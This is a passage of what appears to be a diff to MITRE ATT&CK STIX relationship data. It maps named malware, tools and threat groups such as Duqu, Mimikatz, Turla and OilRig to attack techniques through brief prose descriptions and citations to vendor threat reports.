RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", + "source_name": "Unit 42 VERMIN Jan 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "The [Duqu](https://attack.mitre.org/software/S0038) command and control protocol's data stream can be encrypted with AES-CBC.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--7cb48d6d-1171-4e9d-87c7-4779293f6921", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "modified": "2019-04-24T23:18:53.310Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "One version of [Helminth](https://attack.mitre.org/software/S0170) consists of VBScript and PowerShell scripts. The malware also uses batch scripting.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--95b21e05-610e-47bf-a4b1-9d4b398e6c13", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "source_name": "Palo Alto OilRig May 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Vasport](https://attack.mitre.org/software/S0207) copies itself to disk and creates an associated run key Registry entry to establish.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--498c599b-99ed-477d-afe8-2a6714506934", + "source_ref": "malware--f4d8a2d6-c684-453a-8a14-cf4a94f755c5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Zhou, R. (2012, May 15). Backdoor.Vasport. Retrieved February 22, 2018.", + "source_name": "Symantec Vasport May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-5938-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "Some [Reaver](https://attack.mitre.org/software/S0172) variants use HTTP for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--797131cf-fef9-4ece-823f-e931393e72f8", + "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", + "source_name": "Palo Alto Reaver Nov 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can query shared drives on the local system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--e8048bf8-3931-4d6b-b4a6-475ff717cbae", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "modified": "2019-06-06T19:04:39.541Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cobalt Strike TTPs Dec 2017", + "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.", + "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that can locate credentials in files on the file system such as those from Firefox or Chrome.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--80dcd852-39c2-4ef9-a401-e54982010a65", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.633Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d", + "description": "[Turla](https://attack.mitre.org/groups/G0010) has used valid digital certificates from Sysprint AG to sign its [Epic](https://attack.mitre.org/software/S0091) dropper.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--88ad4d2e-745e-4712-8901-e772dfaf3298", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "modified": "2019-07-26T16:10:43.174Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[SeaDuke](https://attack.mitre.org/software/S0053) is capable of executing commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0191f3d3-59d3-4fcc-bfff-5fbfa0675cfd", + "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J.. (2015, July 14). Unit 42 Technical Analysis: Seaduke. Retrieved August 3, 2016.", + "source_name": "Unit 42 SeaDuke 2015", + "url": "http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[ZeroT](https://attack.mitre.org/software/S0230) has used RC4 to encrypt C2 traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--cf8f6cd4-cd87-430b-b286-3790c5a97efa", + "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.", + "source_name": "Proofpoint TA459 April 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts" + }, + { + "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.", + "source_name": "Proofpoint ZeroT Feb 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has been known to establish persistence by adding programs to the Run Registry key.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.047Z", + "id": "relationship--d021d378-a5ff-4020-972c-cc9152e824b0", + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "modified": "2019-01-31T18:48:52.069Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Darkhotel", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--08319de4-6faa-4fb8-825e-0baee4a4b510", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.676Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "Several commands are supported by the [Honeybee](https://attack.mitre.org/groups/G0072)'s implant via the command-line interface and there\u2019s also a utility to execute any custom command on an infected endpoint.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--3eda6bb8-bafa-46eb-a91b-5932d25ec0fc", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "modified": "2019-03-25T12:58:44.317Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware can take a screenshot and upload the file to its C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--65f7704a-358a-464d-b09b-fee5dd96adf3", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "modified": "2019-09-09T19:21:42.536Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "source_name": "Unit 42 Magic Hound Feb 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Mimikatz](https://attack.mitre.org/software/S0002) performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from the LSA, SAM table, credential vault, DCSync/NetSync, and DPAPI.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b7930db8-2cb9-4ecf-b3d3-7425f99140d8", + "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "modified": "2019-04-24T23:36:42.360Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Deply, B. (n.d.). Mimikatz. Retrieved September 29, 2015.", + "source_name": "Deply Mimikatz", + "url": "https://github.com/gentilkiwi/mimikatz" + }, + { + "description": "Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.", + "source_name": "GitHub Mimikatz lsadump Module", + "url": "https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump" + }, + { + "description": "Grafnetter, M. (2015, October 26). Retrieving DPAPI Backup Keys from Active Directory. Retrieved December 19, 2017.", + "source_name": "Directory Services Internals DPAPI Backup Keys Oct 2015", + "url": "https://www.dsinternals.com/en/retrieving-dpapi-backup-keys-from-active-directory/" + }, + { + "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "source_name": "NCSC Joint Report Public Tools", + "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21", + "description": "[Bandook](https://attack.mitre.org/software/S0234) has been launched by starting iexplore.exe and replacing it with [Bandook](https://attack.mitre.org/software/S0234)'s payload.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--3cc0af18-2897-4008-a2b0-0234df50acde", + "source_ref": "malware--835a79f1-842d-472d-b8f4-d54b545c341b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "source_name": "Lookout Dark Caracal Jan 2018", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + }, + { + "description": "Galperin, E., Et al.. (2016, August). I Got a Letter From the Government the Other Day.... Retrieved April 25, 2018.", + "source_name": "EFF Manul Aug 2016", + "url": "https://www.eff.org/files/2016/08/03/i-got-a-letter-from-the-government.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0", + "description": "[Responder](https://attack.mitre.org/software/S0174) is used to poison name services to gather hashes and credentials from systems within a local network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--aef7fe44-f381-41d5-88af-f04135e3aeab", + "source_ref": "tool--a1dd2dbd-1550-44bf-abcc-1a4c52e97719", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.", + "source_name": "GitHub Responder", + "url": "https://github.com/SpiderLabs/Responder" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "description": "[Derusbi](https://attack.mitre.org/software/S0021) variants have been seen that use Registry persistence to proxy execution through regsvr32.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4f3473a4-f5f5-43d8-a4ec-589763695942", + "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fidelis Threat Research Team. (2016, May 2). Turbo Twist: Two 64-bit Derusbi Strains Converge. Retrieved August 16, 2018.", + "source_name": "ThreatGeek Derusbi Converge", + "url": "https://www.fidelissecurity.com/threatgeek/threat-intelligence/turbo-twist-two-64-bit-derusbi-strains-converge" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Sys10](https://attack.mitre.org/software/S0060) collects the local IP address of the victim and sends it to the C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--bb2ba4b6-d96a-4d66-ac13-aa657108b363", + "source_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481", + "modified": "2019-05-03T16:44:41.815Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "source_name": "Baumgartner Naikon 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can upload files from compromised hosts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--9dcc9cb1-d489-42ab-b647-3a492c04c114", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "modified": "2019-04-22T22:36:53.187Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[KOMPROGO](https://attack.mitre.org/software/S0156) is capable of retrieving information about the infected system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--42dc03ec-03fb-4bf0-8f5f-e90d1aacd6e7", + "source_ref": "malware--7dbb67c7-270a-40ad-836e-c45f8948aa5a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "source_name": "FireEye APT32 May 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Proxysvc](https://attack.mitre.org/software/S0238) lists files in directories.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--77270a5a-c2e7-4cf0-8d73-129758454bcc", + "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", + "modified": "2019-04-22T22:40:41.326Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) adds a Visual Basic script in the Startup folder to deploy the payload.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--4287de65-be1d-44aa-9c50-9c391e321597", + "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0", + "modified": "2019-06-24T19:07:12.672Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Malwarebytes SmokeLoader 2016", + "description": "Hasherezade. (2016, September 12). Smoke Loader \u2013 downloader with a smokescreen still alive. Retrieved March 20, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "The initial beacon packet for [Mis-Type](https://attack.mitre.org/software/S0084) contains the operating system version and file system of the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--aeda6707-50e2-47e2-833a-18e4a5d73e88", + "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[Derusbi](https://attack.mitre.org/software/S0021) beacons to destination port 443.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--bd315928-0b74-491c-b526-ee5e1841842b", + "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "modified": "2019-08-16T18:52:50.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Fidelis Turbo", + "description": "Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.", + "url": "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) can upload files from the victim's machine to its C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--fbf22973-f91d-440a-9559-65bc2d8e3739", + "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "modified": "2019-04-24T23:40:23.554Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "source_name": "Unit 42 OopsIE! Feb 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[OLDBAIT](https://attack.mitre.org/software/S0138) installs itself in %ALLUSERPROFILE%\\\\Application Data\\Microsoft\\MediaPlayer\\updatewindws.exe; the directory name is missing a space and the file name is missing the letter \"o.\"", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3a241a6c-11ee-4abc-a551-b5d4e594aad4", + "source_ref": "malware--2dd34b01-6110-4aac-835d-b5e7b936b0be", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "source_name": "FireEye APT28", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) is obfuscated using the obfuscation tool called ConfuserEx.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--a0bf84db-5482-4bc2-a53f-46d988e4f688", + "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", + "source_name": "Unit 42 VERMIN Jan 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9e09ddb2-1746-4448-9cad-7f8b41777d6d", + "description": "[iKitten](https://attack.mitre.org/software/S0278) collects the keychains on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f5cf9158-6f25-4167-8263-5a356bf816b9", + "source_ref": "malware--2cfe8a26-5be7-4a09-8915-ea3d9e787513", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "source_name": "objsee mac malware 2017", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) used the PowerShell filenames Office365DCOMCheck.ps1 and SystemDiskClean.ps1.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--86b103ec-dfa0-4c0a-ad96-b885345b4711", + "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. 